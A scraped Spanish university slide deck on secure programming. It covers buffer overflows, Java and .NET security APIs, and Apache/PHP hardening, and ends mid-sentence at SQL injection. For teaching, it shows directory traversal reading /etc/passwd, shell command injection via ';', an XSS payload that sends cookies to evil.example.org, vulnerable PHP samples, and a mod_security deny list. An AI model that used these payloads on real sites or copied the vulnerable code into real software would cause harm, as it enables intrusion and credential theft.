Programacin Segura Gustavo A Isaza Echeverry Seguridad Informtica

  • Slides: 107
Download presentation
Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas

Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas Sistemas Operativos Distribuidos

Agenda n n Conceptos generales APIS y Arquitecturas de Seguridad en Lenguajes de Programación

Agenda n n Conceptos generales APIS y Arquitecturas de Seguridad en Lenguajes de Programación ¨ Seguridad en Java ¨ Seguridad. Net ¨ Seguridad en Apache, PHP, BD Seguras ¨ Seguridad CORBA n Conclusiones

Ideas Previas • La Seguridad es una medida NO un característica • Costo •

Ideas Previas • La Seguridad es una medida NO un característica • Costo • Usabilidad • Parte de un diseño

Problemas? • No hay conciencia y las estadísticas de incidentes no mejoran!!! • Falta

Problemas? • No hay conciencia y las estadísticas de incidentes no mejoran!!! • Falta de competencias • “El problema es del Admor Red / Oficial de Seguridad Informático” • Desconocimiento de las frameworks…. . Seguros. … arquitecturas, API’S,

Problemas de seguridad • Ausencia infraestructura seguridad • Errores administrador/usuario • Exploits • Programar

Problemas de seguridad • Ausencia infraestructura seguridad • Errores administrador/usuario • Exploits • Programar bien !!! • entender cómo funcionan las cosas • aprender buenas políticas • aprender trampas habituales

Desbordamientos • Es extremadamente sencillo equivocarse • Mal diseño del lenguaje • Malas prácticas

Desbordamientos • Es extremadamente sencillo equivocarse • Mal diseño del lenguaje • Malas prácticas de programación • Hay lenguajes inmunes, pero no siempre podremos usarlos • En C, cuidado con: strcpy, strcat, sprintf, gets, scanf

El Desbordamiento del Buffer: Buffer Over. Flow Los desbordamientos de buffer se basan en

El Desbordamiento del Buffer: Buffer Over. Flow Los desbordamientos de buffer se basan en introducir el código en el espacio reservado para las variables locales (los argumentos de un método / función) y después modificar la dirección de retorno/regreso (RET), donde regresa la información, para que apunte a un offset en donde hemos introducido nuestro código fuente. Este código puede ser - por ejemplo - una Shell. Code, : bash, entre otros.

Desbordamientos: defensa • Programación defensiva. Cuidado con: strcpy() strcat() sprintf() scanf() sscanf() fscanf() vsprintf

Desbordamientos: defensa • Programación defensiva. Cuidado con: strcpy() strcat() sprintf() scanf() sscanf() fscanf() vsprintf vscanf() vsscanf() streadd() strecpy() strtrns() • Evitarlas siempre que sea posible, casi todas tienen alternativas razonables.

Desbordamientos: más con las entradas gets() getchar(), fgetc(), read() Consejo, comprobar: • Siempre los

Desbordamientos: más con las entradas gets() getchar(), fgetc(), read() Consejo, comprobar: • Siempre los límites! • Longitud de los datos antes de almacenarlos • No pasar datos excesivamente grandes a otras funciones

Seguridad en Java n Seguridad General ¨ ¨ ¨ Arquitectura de la Seguridad Arquitectura

Seguridad en Java n Seguridad General ¨ ¨ ¨ Arquitectura de la Seguridad Arquitectura de la Criptografía Política de permisos API para bloqueos de privilegios Certificados X. 509 y listas de certificados revocados

Seguridad en Java JVM n Tres niveles de seguridad: ¨ Cargador de clases ¨

Seguridad en Java JVM n Tres niveles de seguridad: ¨ Cargador de clases ¨ Verificador ¨ Gestores de seguridad

Seguridad en Java 1. El cargador de clases (Class Loader), que determina como y

Seguridad en Java 1. El cargador de clases (Class Loader), que determina como y cuando pueden cargar código los programas y garantiza que los componentes del sistema no han sido reemplazados. 2. El verificador de archivos de clases (Class file verifier), que garantiza que el código tiene el formato correcto, que el bytecode no viola las restriciones de seguridad de tipos de la JVM, que las pilas internas no puedan desbordarse ni por arriba ni por abajo y que las instucciones en bytecode tengan parámetos de tipos correctos. 3. El gestor de seguridad (Security Manager), que controla el acceso a los recursos en tiempo de ejecución. Los recursos sobre los que tiene control son multiples: E/S de red y ficheros, creación de cargadores de clases, manipulación de hilos de ejecución, ejecución de programas externos (del SO), detener la JVM, cargar código nativo en la máquina virtual, realizar determinadas operaciones en el entorno de ventanas o cargar ciertos tipos de clases.

Usando el Security Manager Class My. Security. Manager extends Security. Manager {. . .

Usando el Security Manager Class My. Security. Manager extends Security. Manager {. . . } try { System. set. Security. Manager(new My. Security. Manager(”java. policy")); } catch (Security. Exception se) { System. out. println("Security. Manager already set!"); } public boolean can. Read() { Security. Manager security = System. get. Security. Manager(); if (security != null) { security. check. Read(path); } return fs. check. Access(this, false); }

Security Manager • Identity - Bases para las decisiones de seguridad • Origin –

Security Manager • Identity - Bases para las decisiones de seguridad • Origin – Desde donde proviene el código • Signature – A qué código corresponde? java. security. Code. Source • Permission – Encapsula el acceso a una operación particular • Incluye un objetivo y una acción p = new Socket. Permission(“www. utp. edu. co”, “connect”); p = new File. Permission(“/tmp/file 1”, “*”);

Seguridad en Java Arquitectura criptográfica Desde el punto de vista de la seguridad, el

Seguridad en Java Arquitectura criptográfica Desde el punto de vista de la seguridad, el conjunto de clases de seguridad distribuidas con el Java 2 SDK pueden dividirse en dos subconjuntos: 1. Clases relacionadas con el control de acceso y la gestión de permisos. 2. Clases relacionadas con la Criptografía. Arquitectura Criptográfica de Java (JCA) y la Extension Criptográfica de Java (JCE).

Seguridad en Java n n n Certification Path Java Authentication and Authorization Service (JAAS)

Seguridad en Java n n n Certification Path Java Authentication and Authorization Service (JAAS) Java Generic Security Services (Java GSS-API) Java Cryptography Extension (JCE) Java Secure Socket Extension (JSSE) Simple Authentication and Security Layer (SASL)

Arquitectura de la Criptografía n n Java Cryptography Architecture (JCA) Introducción ¨ JDK 1.

Arquitectura de la Criptografía n n Java Cryptography Architecture (JCA) Introducción ¨ JDK 1. 1 n n ¨ Resúmenes de mensajes Firmas digitales Java 2 SDK n n n resúmenes de mensajes X. 509 Arquitectura para grano fino, flexible, extensible y control de acceso altamente configurable.

Arquitectura de la Criptografía n Proveedores de servicios criptográficos n n n Firma digital

Arquitectura de la Criptografía n Proveedores de servicios criptográficos n n n Firma digital (DSA) MD 5 y SHA-1 Generador de Claves DSA Certificados X. 509 Key. Store

JCE n n Java Cryptography Extension (JCE) Introducción Marco de trabajo y de implementación

JCE n n Java Cryptography Extension (JCE) Introducción Marco de trabajo y de implementación para el cifrado. ¨ Generación y comprobación de claves ¨ Algoritmos de autenticación de mensajes (MAC) ¨

JCE n Introducción n n n Ayuda para el cifrado simétrico Ayuda para el

JCE n Introducción n n n Ayuda para el cifrado simétrico Ayuda para el cifrado asimétrico Ayuda para el cifrado en bloque Cifradores en flujo Flujos seguros Objetos sellados

JCE n API JCE Cifrado simétrico en bloque DES, RC 2 e IDEA ¨

JCE n API JCE Cifrado simétrico en bloque DES, RC 2 e IDEA ¨ Cifrado simétrico en flujo RC 4 ¨ Encriptación asimétrica RSA ¨ Comprobación de claves ¨

JCE n n API JCE ¨ Cifrado Password-Based(PBE) ¨ Algoritmo de autentificación de claves

JCE n n API JCE ¨ Cifrado Password-Based(PBE) ¨ Algoritmo de autentificación de claves (MAC) Proveedor de Servicios Sun. JCE ¨ Una implementación del DES (FIPS PUB 46 -1), Triple DES, y algoritmos de encriptación Blowfish en el Electronic Code Book (ECB), Cipher Block Chaining (CBC), Cipher Feedback (CFB), Output Feedback (OFB), y modos Propagating Cipher Block Chaining (PCBC). ¨ Un generador de par de claves Diffie-Hellman para generar un par de valores públicos y privados convenientes para el algoritmo de Diffie-Hellman.

JCE n Proveedor de Servicios Sun. JCE Una implementación de HMAC-MD 5 y algoritmos

JCE n Proveedor de Servicios Sun. JCE Una implementación de HMAC-MD 5 y algoritmos keyed-hashing HMAC-SHA 1 definido en RFC 2104. ¨ Una implementación del esquema de relleno descrito en PKCS #5. ¨ Una implementación del keystore para el tipo propietario del keystore llamando "JCEKS". ¨

Ejemplos n HMAC-MD 5 import java. security. *; import javax. crypto. *; public class

Ejemplos n HMAC-MD 5 import java. security. *; import javax. crypto. *; public class init. Mac { public static void main(String[] args) throws Exception { Key. Generator kg = Key. Generator. get. Instance("Hmac. MD 5"); Secret. Key sk = kg. generate. Key(); } } Mac mac = Mac. get. Instance("Hmac. MD 5"); mac. init(sk); byte[] result = mac. do. Final("Hi There". get. Bytes());

Seguridad en Java n n n Control de acceso – Granularidad Tools (jar, keytool,

Seguridad en Java n n n Control de acceso – Granularidad Tools (jar, keytool, jarsigner, policytool) Modelo de Permisos Java. security. permission n Políticas de Seguridad Policy. Tool Gestor de Seguridad: java. security. manager

Motor JCA Clase JCA 1. 2 Función java. security. Message. Dig est Genera resumen

Motor JCA Clase JCA 1. 2 Función java. security. Message. Dig est Genera resumen de mensajes (hash). java. security. Signature Firmado de datos y verificación firmas. java. security. Key. Pair. Gen erator Generar pares de claves (pública y privada) para un algoritmo. java. security. Key. Factory Convertir claves de formato criptográfico a especificaciones de claves y vice versa java. security. certificate. C Crear certificados de clave pública y listas de revocación(CRLs). ertificate. Factory java. security. Key. Store Crear y gestionar un almacen de claves (keystore). java. security. Algorithm. Pa Gestionar los parámetros de un algoritmo, incluyendocodificación y descodificación. rameters java. security. Algorithm. Pa Generar un conjunto de parámetros para un algoritmo. rameter. Generator java. security. Secure. Rand Generar números aleatrorios o pseudo aleatrorios om

Motor JCE Clase JCE 1. 2 Función java. crypto. Ciphe r Proporciona encriptación y

Motor JCE Clase JCE 1. 2 Función java. crypto. Ciphe r Proporciona encriptación y desencriptación. java. crypto. Key. A greement Proporciona un protocolo de intercambio de claves. java. crypto. Key. G enerator Proporciona un generador de claves simétricas. java. crypto. Mac Proporciona un algoritmo de autentificación de mensajes. java. crypto. Secre t. Key. Factory Representa una factoría de claves secretas.

Seguridad en Java n JCA & JCE (Java Crypto Architecture, Java Crypto Extensions) ¨

Seguridad en Java n JCA & JCE (Java Crypto Architecture, Java Crypto Extensions) ¨ Javax. crypto. interfaces DHKey DHPrivate. Key DHPublic. Key Sockets Seguros (JSSE) ¨ Java. security. Cert X 509 Certificate, X 509 CRL X 509 Extension

Seguridad en Java El paquete java. security consiste básicamente en clases abstractas e interfaces

Seguridad en Java El paquete java. security consiste básicamente en clases abstractas e interfaces que encapsulan conceptos de seguridad como certificados, claves, resumenes de mensajes y firmas digitales. En el JCA los proveedores pueden implementar tres clases: • Key. Pair. Generator. Se emplea para crear claves públicas y privadas. • Message. Digest. Prorciona la funcionalidad de algoritmos de resumen de mensajes como el MD 5 y el SHA. • Signature. Se emplea para el firmado digital de mensajes. Key. Pair. Generator kpg = Key. Pair. Generator. get. Instance ("DSA");

Seguridad en Java El paquete java. security. cert Añade soporte para generar y usar

Seguridad en Java El paquete java. security. cert Añade soporte para generar y usar certificados, incluye clases e interfaces específicas para soportar certificados X. 509. • Certificate. Factory. Se emplea para generar certificados y listas de revocación (CRL). • Certificate. Es una clase para agrupar certificados de diferentes formatos pero usos comunes importantes • CRL. Clase abstracta para gestionar distintos tipos de listas de revocación de certificados. • X 509 Certificate. Clase abstracta para representar certificados X. 509. • X 509 CRL. Clase abstracta para una lista de revocación de certificados X. 509. • X 509 CRLEntry. Es una clase abstracta para las entradas de las listas de revocación

Seguridad en Java n Ejemplos: ¨ Perm = new java. io. File. Permission(“/tmp/abc”, ”read”)

Seguridad en Java n Ejemplos: ¨ Perm = new java. io. File. Permission(“/tmp/abc”, ”read”) //AWT Permission, Net. Permission ¨ Message. Digest m = Message. Diggest. get. Instance(“MD 5”) Java. security. Message. Diggest Java. security. signature Java. security. Key. Pair. Generator

Seguridad en Java • Extensión de Sockets Seguros de Java (JSSE) • http: //java.

Seguridad en Java • Extensión de Sockets Seguros de Java (JSSE) • http: //java. sun. com/products/jsse/ • Servicio de Autentificación y Autorización de Java (JAAS) • http: //java. sun. com/products/jaas/

Arquitectura de seguridad de. NET

Arquitectura de seguridad de. NET

Arquitectura de seguridad de ASP. NET

Arquitectura de seguridad de ASP. NET

Configurar la Seguridad en. NET

Configurar la Seguridad en. NET

Seguridad en. NET ACCESO SEGURO A DATOS EN. NET • Acceso a BD de

Seguridad en. NET ACCESO SEGURO A DATOS EN. NET • Acceso a BD de datos mediante ADO. NET • Formas seguras de acceder a la BD • Almacenamiento seguro de secretos AUTENTICACIÓN MEDIANTE FORMULARIOS EN. NET • Autenticación mediante formularios básica • Autenticación mediante formularios y XML • Autenticación mediante formularios y base de datos • Autenticación mediante formularios y tickets personalizados • Autenticación mediante formularios sin cookies AUTENTICACIÓN MEDIANTE WINDOWS EN. NET • Autenticación básica • Autenticación mediante resúmenes • Autenticación integrada de Windows • Protección de directorios y documentos • Representación de usuario AUTENTICACIÓN MEDIANTE CERTIFICADOS EN. NET • Introducción a los certificados digitales • Criptografía con. NET • Autoridades de certificación • Canales seguros con SSL • Autenticación mediante certificados digitales • Acceso a la información de los certificados desde ASP. NET SEGURIDAD EN SQL SERVER SEGURIDAD EN SERVICIOS WEB XML DESARROLLADOS CON. NET

Seguridad de código Seguridad en Windows n Autenticación de usuarios ¨ Logon interactivo ¨

Seguridad de código Seguridad en Windows n Autenticación de usuarios ¨ Logon interactivo ¨ Autenticación en red n Control de acceso basado en objetos ¨ Permite n limitar los recursos al usuario autenticado Limitación con aplicaciones no confiadas por el usuario ¨ Mecanismo Todo - Nada

Seguridad de código Solución. NET n Desarrollada sobre la seguridad Windows ¨ Nunca n

Seguridad de código Solución. NET n Desarrollada sobre la seguridad Windows ¨ Nunca n n podremos tener mayores privilegios Centrada en el código, no en el usuario Identificación del código por evidencias ¨ Permite n distintos niveles de seguridad Muy granular ¨ Conjunto n estándar de permisos ampliable Fácil de administrar ¨ Distintos niveles de administración

Seguridad de código Permisos n Protección de recursos y operaciones Security. Permission ¨ Socket.

Seguridad de código Permisos n Protección de recursos y operaciones Security. Permission ¨ Socket. Permission ¨ Web. Permission ¨ Printing. Permission ¨ n Acceso al interfaz de usuario ¨ n UIPermission Protección de ficheros y directorios File. IOPermission ¨ File. Dialog. Permission ¨

Seguridad de código Permisos (II) n Acceso al entorno, registro y metadatos ¨ Environment.

Seguridad de código Permisos (II) n Acceso al entorno, registro y metadatos ¨ Environment. Permission ¨ Registry. Permission ¨ Reflection. Permission ¨ DNSPermission ¨ Event. Log. Permission ¨ Service. Controller. Permission

Seguridad de código Permisos (III) n Protección de datos Directory. Services. Permission ¨ Isolated.

Seguridad de código Permisos (III) n Protección de datos Directory. Services. Permission ¨ Isolated. Storage. File. Permission ¨ Ole. Db. Permission ¨ Sql. Client. Permission ¨ Message. Queue. Permission ¨ Performance. Counter. Permission ¨ n Autenticación ¨ Principal. Permission

Seguridad basada en roles Autenticación y autorización n Autenticación ¨ n Autorización ¨ n

Seguridad basada en roles Autenticación y autorización n Autenticación ¨ n Autorización ¨ n Proceso que verifica la identidad del usuario Proceso que determina si el usuario puede realizar una operación determinada Autenticación. NET Windows ¨ Personalizable ¨ Sólo en ASP. NET ¨ n n Forms && Passport Autorización. NET

Seguridad basada en roles Identities, principals n Identity ¨ n Encapsula información sobre un

Seguridad basada en roles Identities, principals n Identity ¨ n Encapsula información sobre un usuario Principal Representa el contexto de seguridad sobre el que corre la aplicación ¨ Incluye: ¨ n n n Usuario actual Roles del usuario actual Tres tipos Windows ¨ Generic ¨ Custom ¨

Seguridad basada en roles Autorización de Principals ¨ n De forma imperativa con Principal.

Seguridad basada en roles Autorización de Principals ¨ n De forma imperativa con Principal. Permission ¨ n p = new Principal. Permission(“DOMAIN\Usuario”…) p. Demand() De forma declarativa con Principal. Permission. Attribute ¨ n If (My. Principal. Is. In. Role(…)) [Principal. Permission. Attribute(Security. Action. Demand, Name = “DOMAIN\Usuario”, …] Válido para cualquier tipo de Principal ¨ Sin necesidad de cambios

Apache && PHP Seguridad Sistemas Operativos Distribuidos

Apache && PHP Seguridad Sistemas Operativos Distribuidos

Consideraciones n n Quién tiene acceso físico? Quién tiene acceso shell? Apache escribe en

Consideraciones n n Quién tiene acceso físico? Quién tiene acceso shell? Apache escribe en los filesystem? Limitar los post/get, cookies, sesiones?

Recomendaciones básicas n n Deshabilitar los servicios no usados, actualizar el servidor, usar los

Recomendaciones básicas n n Deshabilitar los servicios no usados, actualizar el servidor, usar los archivos de configuración recomendados Habilitar logwatch y logcheck y actualizar los reportes Habilitar una herramienta de verificación de integridad de archivos configurar iptables – Ports 22, 80, 443 tomcat?

Asegurando Apache Sistemas Operativos Distribuidos

Asegurando Apache Sistemas Operativos Distribuidos

Configurando Apache n n n Deshabilitar servicios no indispensables Verificar los bugtracks y actualizar

Configurando Apache n n n Deshabilitar servicios no indispensables Verificar los bugtracks y actualizar Proteger los directorios /var/www/ Crear un directorio personalizado /var/www/error Habilitar los. htaccess y proteger los archivos de users y password del http

mod_dosevasive n n Fácil de configurar Puede ayudar a evadir ataques de Do. S

mod_dosevasive n n Fácil de configurar Puede ayudar a evadir ataques de Do. S bloqueando direcciones ip o URLs temporalmente. Load. Module dosevasive 20_modules/mod_dosevasive 20. so <If. Module mod_dosevasive 20. c> DOSHash. Table. Size 3097 DOSPage. Count 2 DOSPage. Interval 1 DOSSite. Count 50 DOSSite. Interval 1 DOSBlocking. Period 10 DOSEmail. Notify admin@domain. com DOSLog. Dir "/tmp/mod_dosevasive“ (make writable by apache only) </If. Module>

Características mod_security n n n Los filtros se aplican antes de ejecutar los scripts

Características mod_security n n n Los filtros se aplican antes de ejecutar los scripts Soporta SSL Entienden el protocolo http Hace logging completo incluyendo post data Las reglas son personalizadas usando expresiones regulares y pueden ser aplicadas a niveles de virtual hosts

Ejemplo mod_security <If. Module mod_security. c> Sec. Filter. Engine On # Prevent OS specific

Ejemplo mod_security <If. Module mod_security. c> Sec. Filter. Engine On # Prevent OS specific keywords #index. php? include=filename Sec. Filter /etc/passwd # Prevent path traversal (. . ) attacks Sec. Filter ". . /" # Very crude filters to prevent SQL injection attacks Sec. Filter "delete[[: space: ]]+from" Sec. Filter "insert[[: space: ]]+into" Sec. Filter "select. +from" </If. Module>

Revisar el Servidor Nmap (nmap –I –s. V servidor) n Nessus http: //www. nessus.

Revisar el Servidor Nmap (nmap –I –s. V servidor) n Nessus http: //www. nessus. org n CIS Linux Benchmark Scan http: //www. cisecurity. org/bench_linux. html n

Seguridad en PHP Sistemas Operativos Distribuidos

Seguridad en PHP Sistemas Operativos Distribuidos

Tipos de Ataques a PHP n n n Ejecución de comandos y/o escribir en

Tipos de Ataques a PHP n n n Ejecución de comandos y/o escribir en los filesystem Sql injection Session Hijacking Cross Site Scripting (xss)

Directory Transversal Attack Este fallo es muy común y simple. Consiste en realizar un

Directory Transversal Attack Este fallo es muy común y simple. Consiste en realizar un descenso de directorios usando la referencia. . / al directorio padre. Un ejemplo de esto seria el siguiente: <html> <head>PHP para mostrar ficheros de texto</head> <body> <? if ($fp=fopen($filename, "r")) { while(!feof($fp)) { $contenido=fgets($fp, 500); print("<p>". $contenido); } } else { print("Error al abrir el fichero"); } ? > </body> </html>

Contenido del programa show_text_file. php Este programa de ejemplo esta escrito en PHP y

Contenido del programa show_text_file. php Este programa de ejemplo esta escrito en PHP y simplemente lee el archivo especificado y lo muestra, tal y como vemos en el siguiente escenario: Ejemplo: victima. com/cgibin/show_text_file. php? filename=introduccion. txt Salida: PHP para mostrar ficheros de texto Esto es un ejemplo esta es la línea 1 esta es la línea 2 esta es la línea 3

Veamos ahora lo que pasa si usamos el escalado de directorios: Ejemplo: www. victima.

Veamos ahora lo que pasa si usamos el escalado de directorios: Ejemplo: www. victima. com/cgibin/show_text_file? filename=. . /etc/passw d PHP para mostrar ficheros de texto root: x: 0: 0: root: /bin/bash daemon: x: 1: 1: daemon: /usr/sbin: /bin/sh bin: x: 2: 2: bin: /bin/sh sys: x: 3: 3: sys: /dev: /bin/sh sync: x: 4: 100: sync: /bin/sync games: x: 5: 100: games: /usr/games: /bin/sh (. . . etc)

Command Execution Attack #!/usr/bin/perl print "Content-type: text/htmlnn"; print <<End. Of. HTML; <html><head><title>Print Environment</title></head> <body>

Command Execution Attack #!/usr/bin/perl print "Content-type: text/htmlnn"; print <<End. Of. HTML; <html><head><title>Print Environment</title></head> <body> End. Of. HTML $HOST=$ENV{"QUERY_STRING"}; $HOST=~ s/%(. . )/pack("c", hex($1))/ge; print "Resolviendo Dominio $HOST"; system("/usr/bin/nslookup $HOST"); print " </body></html>";

El usuario como atacante podría introducir un carácter que fuera interpretado de una forma

El usuario como atacante podría introducir un carácter que fuera interpretado de una forma especial por la shell. Ejemplos de tales caracteres son : ; (separa 2 comandos distintos) | (pipe) &, etc. Para explotar este ejemplo utilizaremos ; . En UNIX el ; sirve para ejecutar 2 comandos distintos en una misma línea. Por ejemplo echo hola; echo mundo sacaría por pantalla hola mundo. Veamos que sucede si introducimos un ; http: //victima. com/cgibin/nslookup. cgi? falsodominio; /usr/bin/id Salida: Resolviendo Dominio falsodominio; /usr/bin/id. Server: ganimedes Address: 172. 26. 0. 5#53 ** server can't find falsodominio: NXDOMAIN uid=33(www-data) gid=33(wwwdata) groups=33(www-data)

Expresiones regulares • Usarlas para determinar lo que es válido • Lo que no

Expresiones regulares • Usarlas para determinar lo que es válido • Lo que no encaje, es invalido • Casi todos lenguajes incluyen bibliotecas • Hay ligeras diferencias • Podemos utilizar expresiones regulares para aceptar lo que esté permitido. Ejemplo: • El fichero debe estar en c: o d: • El camino contiene una serie de barras invertidas y caracteres alfanuméricos • El nombre va detrás del camino, es alfanumérico, de 32 caracteres como máximo, seguido de un punto y termina con txt, gif, jpg ˆ[cd]: (? : \w+)+\w{1, 32}. (txt|jpg|gif)$

Asegurando PHP n Default php. ini < V. 4. 8 ; WARNING ; ;

Asegurando PHP n Default php. ini < V. 4. 8 ; WARNING ; ; This is the default settings file for new PHP installations. ; By default, PHP installs itself with a configuration suitable for ; development purposes, and *NOT* for production purposes. n n Actualizar instalaciones Hay mucha vulnerabilidades en el archivo de configuración (GLOBAL_VARS, SESSIONS, etc)

Configuraciones para asegurar PHP display_errors = Off (turn on with ini_set or. htaccess) log_errors

Configuraciones para asegurar PHP display_errors = Off (turn on with ini_set or. htaccess) log_errors = On error_reporting = E_ALL (better error reporting) session. save_path=/opt/php/session. gc_maxlifetime=600 (ten minutes of inactivity) safe_mode = On (enable if possible) safe_mode_gid = On (enable if possible)

Más configuraciones n n register_globals = Off Never turn on Too easy to write

Más configuraciones n n register_globals = Off Never turn on Too easy to write insecure code Auto initializes variables from Get/Post/Cookie data URL= index. php? administrator=xyz <? php if (isset($administrator)) { $authorized = true; } ? >

Eliminar Javascript y reducir ataques XSS Use preg_replace() on … javascript: onclick ondblclick onmousedown

Eliminar Javascript y reducir ataques XSS Use preg_replace() on … javascript: onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup

Register Globals Está deshabilitado por defecto en PHP superiores a la 4. 2, no

Register Globals Está deshabilitado por defecto en PHP superiores a la 4. 2, no representa una vulnerabilidad pero si un riesgo Se debería trabajar register_globals deshabilitado <? php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data. php'; } ? > Con register_globals habilitado, esta página puede ser llamada con ? authorized=1 en la cadena de consulta y se puede hacer un bypass para este acceso.

El Método de despacho • Asegurar que el filtro de datos no puede ser

El Método de despacho • Asegurar que el filtro de datos no puede ser saltado • Asegurar que los datos inválidos no puede interpretados como datos válidos • Identificar los datos de origen

El Método include

El Método include

Filtros

Filtros

Reporte de Errores error_reporting Esta directiva configura el nivel de reporte de errores, es

Reporte de Errores error_reporting Esta directiva configura el nivel de reporte de errores, es recomendado habilitarlo como E_ALL tanto para ambientes de desarrollo como de producción display_errors Cuales errores deben ser mostrados en la pantalla. (ON: Para desarrollo OFF: para Producción) log_errors Qué errores deben ser escritos en un archivo de logs. Debe estar en ON error_log Indica la localización de los archivos de logs. . Revisar permisos!!!!

Posible Spoofing desde el procesamiento de Forms http: //www. atacame. com/form. html: <form action="/process.

Posible Spoofing desde el procesamiento de Forms http: //www. atacame. com/form. html: <form action="/process. php" method="post"> <select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> <form action="http: //www. atacame. com/process. php" method="post"> <input type="text" name="color" /> <input type="submit" /> </form>

Cross-Site Scripting Explotar la confianza que un usuario tiene sobre un sitio Generalmente en

Cross-Site Scripting Explotar la confianza que un usuario tiene sobre un sitio Generalmente en Web. Sites que muestran datos remotos Si se muestra el contenido que proviene desde una fuente remota son los filtros apropiados, se puede tener una vulnerabilidad de XSS. Los datos remotos no son solo variables que vienen desde el cliente, puede serlo un banner, email, syndicated blog.

Ejemplo de un message board: <form> <input type="text" name="message"> <input type="submit"> </form> <? php

Ejemplo de un message board: <form> <input type="text" name="message"> <input type="submit"> </form> <? php if (isset($_GET['message'])) { $fp = fopen('. /messages. txt', 'a'); fwrite($fp, "{$_GET['message']} "); fclose($fp); } readfile('. /messages. txt'); ? >

Este mensaje adiciona <br/> a cualquier entrada del usuario, y anexa esto a un

Este mensaje adiciona <br/> a cualquier entrada del usuario, y anexa esto a un archivo, luego muestra el contenido del archivo Si el usuario ingresa: <script> document. location = 'http: //evil. example. org/steal_cookies. php? cookies=' + document. cookie </script> El siguiente usuario que visite el message board con Java. Script habilitado es redirigido a evil. example. org, y cualquier cookie asociada con el sitio actual es incluida en la cadena de consulta del URL. Aquí todo está a la imaginación del atacante

Disminuir los riesgos XSS • Filtrar los datos externos • Usar funciones existentes como:

Disminuir los riesgos XSS • Filtrar los datos externos • Usar funciones existentes como: htmlentities(), strip_tags(), y utf 8_decode()

Exponer las credenciales de Acceso Interacción con bases de datos…. Generalmente se utilizan conexión

Exponer las credenciales de Acceso Interacción con bases de datos…. Generalmente se utilizan conexión a SMBD usando credenciales para autenticación: <? php $host = 'example. org'; $username = 'myuser'; $password = 'mypass'; $db = mysql_connect($host, $username, $password); ? >

Buena práctica utilizar módulos…. /path/to/secret-stuff, que solamente root pueda ( NO nobody) : Set.

Buena práctica utilizar módulos…. /path/to/secret-stuff, que solamente root pueda ( NO nobody) : Set. Env DB_USER "myuser" Set. Env DB_PASS "mypass" Incluir este archivo dentro del httpd. conf : Include "/path/to/secret-stuff" Ahora puede usarse desde PHP $_SERVER['DB_USER'] y $_SERVER['DB_PASS'] en el código. No solamente no hay que volver a escribir el username y el password en los scripts, también el Web. Server no puede leer el archivo secret-stuff, así que otros usuarios no pueden escribir scripts que lean las credenciales de acceso; obviamente estas variables no pueden quedar expuestas en phpinfo() o print_r($_SERVER).

Sesiones HTTP no tiene estado, no hay relación entre peticiones sucesivas de los clientes

Sesiones HTTP no tiene estado, no hay relación entre peticiones sucesivas de los clientes • Las ‘cookies’ se introdujeron para proporcionar una forma de obtenerlo • No solucionan completamente el problema: • Tamaño limitado • Manejadas por el cliente • Los objetos de sesión son conjuntos de variables en el lado del servidor que mantienen información sobre el estado • Ahora hace falta asociarlas con el usuario: el identificador de sesión (session id)

Robo de sesiones • Si un usuario es capaz de conseguir el identificador de

Robo de sesiones • Si un usuario es capaz de conseguir el identificador de usuario de otro, tendremos problemas • ¿Cómo? • Adivinarla, calcularla, fuerza bruta, prueba y error • XSS • Referers • Husmeadores (packet sniffing)

Sesiones El identificador de la sesión puede ser una pieza importante para el atacante

Sesiones El identificador de la sesión puede ser una pieza importante para el atacante Hay 3 formas de obtener este ID: 1. Prediction 2. Capture 3. Fixation Prediction Consiste en adivinar el identificador de la sesión. Capturar una sesión válida es el tipo más común de ataques. Muchas de los ID’s de las sesiones son propagados en cookies o variables GET Fixation es un método simple de obtener un ID válido de sesión. Con los métodos session_start() se puede abrir la vulnerabilidad

Criptografía en PHP <? php $msg = “Mensaje a cifrar"; $enc_msg = md 5($msg);

Criptografía en PHP <? php $msg = “Mensaje a cifrar"; $enc_msg = md 5($msg); print "hash 2: $enc_msg "; ? > Mcrypt Es una librería criptográfica que implementa más de 22 algoritmos de bloque Blowfish Cast-256 DES Enigma Gost LOKI 97 Panama RC 2 RC 4 -iv Rijndael-128 Rijndael-192 Rijndael-256 Saferplus Safer-sk 64 xtea Safer-sk 128 Serpent Threeway Triple. DES Twofish Wake

<? php $string = “Mensaje de Prueba. "; //Llave para encriptar $key = “Llave

<? php $string = “Mensaje de Prueba. "; //Llave para encriptar $key = “Llave para encriptar"; // Algoritmo Encripción $cipher_alg = MCRYPT_RIJNDAEL_128; // Encrypt $string $encrypted_string = mcrypt_encrypt($cipher_alg, $key, $string, MCRYPT_MODE_CBC, $iv); // Convertir a hexadecimal y mostrar la salida en un browser print “Cadena cifrada: ". bin 2 hex($encrypted_string). "<p>"; ? >

Es una librería que provee soporte para 12 algoritmos hash. CRC 32, HAVAL 160,

Es una librería que provee soporte para 12 algoritmos hash. CRC 32, HAVAL 160, MD 5, CRC 32 B…. SHA 1……TIGER <? php Mhash $hash_alg = MHASH_SHA; $message = “Mensaje Prueba. "; $hashed_message = mhash($hash_alg, $message); print “El mensaje hash es: ". bin 2 hex($hashed_message); ? > http: //www. phpclasses. org/browse/class/20. html

Clases en PHP • Az. DGCrypt • Encrypt MD 5 64 • Az. DGPassword.

Clases en PHP • Az. DGCrypt • Encrypt MD 5 64 • Az. DGPassword. Generator • Encryption&&Decr yption with Rijndael 256 • Bmp. Crypt • Crypt Class • Cryptography • Symmetric Block Cipher Using Binary XOR • ctl. Cipher. Saber • SSH && SSL in PHP

Seguridad en aplicaciones Web Sistemas Operativos Distribuidos

Seguridad en aplicaciones Web Sistemas Operativos Distribuidos

Aplicaciones Web n n Cuando se instalen aplicaciones web libres siempre estar atento a

Aplicaciones Web n n Cuando se instalen aplicaciones web libres siempre estar atento a las advertencias de seguridad Matener un backup de las bases de datos Estar familiarizado sobre como actualizar la aplicaciones Usar modo seguro en lo posible

Seguridad en SQL

Seguridad en SQL

SQL Injection Ataque contra un Gestor de Bases de Datos Relacional que aprovecha la

